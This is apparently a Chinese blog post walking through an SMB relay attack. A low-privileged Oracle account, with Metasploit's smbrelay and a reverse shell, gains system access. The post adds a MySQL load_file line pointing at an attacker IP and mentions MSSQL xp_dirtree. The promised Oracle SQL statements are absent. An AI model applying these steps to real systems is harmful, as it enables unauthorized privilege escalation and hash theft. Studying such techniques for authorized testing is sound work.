這幾天看了篇叫"Penetration: from application down to OS (Oracle)"的文檔,感覺挺有意思的,文檔的 大概意思就是說,如果 ORACLE 服務是用 administrator 賬戶啟動的,你只要有一個具有 resource 和 connect 權限的數據庫賬戶,就能利用 metasploit 的 smbrelay 功能,本地搭建一個 SMB 欺騙服務器, 來得到系統的訪問權限。我本地測試了下,還真的成功了。:-)
具體的原理分析看原文吧,我這裡把我的測試過程寫出來.
我的滲透環境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 數據庫版本為 10.2.0.1.0,服務啟動權限為 administrator,數據庫賬戶用的是 dbsnmp 賬戶的默認權限.
1.先用 netstat 命令查看一下,本地的 139 端口有沒有占用,一般占用此端口的服務就是 Samba 了,要關掉。ubuntu 的關閉方法是 sudo /etc/init.d/samba stop<p>
2.運行 metasploit,我選用的 PAYLOAD 是 shell_reverse_tcp,做好相應配置後,exploit.就能用 netstat 看到本地已經監聽了 139 和 8522 端口了.
3.我現在使用 dbsnmp 默認賬戶連接到 oracle 數據庫上,這個賬戶默認權限是比較低的,只有 connect和 resource 權限。
4.然後執行下面 3 條 SQL 語句
後來經過 pt007 的提醒,我又測試了 mysql,如果服務也是 administrator 啟動的,用select load_file('\\\\192.168.1.52\mk.txt')也是可以得到系統權限的.MSSQL 應該用 xp_dirtree 存儲過程 也是可以的,不過我沒有配置出來用 administrator 賬戶啟動 MSSQL 服務,希望知道的朋友指點下我。
這個技術可以用到內網 WEB 評估的時候,如果有注入,服務又是 administrator 啟動的,可以提權了。
兩個PDF下載,
作者:Mickey
http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf
http://54mickey.googlepages.com/Penetration_fromapplication_down_to_.pdf
當執行完 create index 這句的時候,在看咱們本地的 metasploit,就已經得到 ORACLE 數據庫主機的系 統當前服務用戶的 half lm 哈希和 cmdshell 了。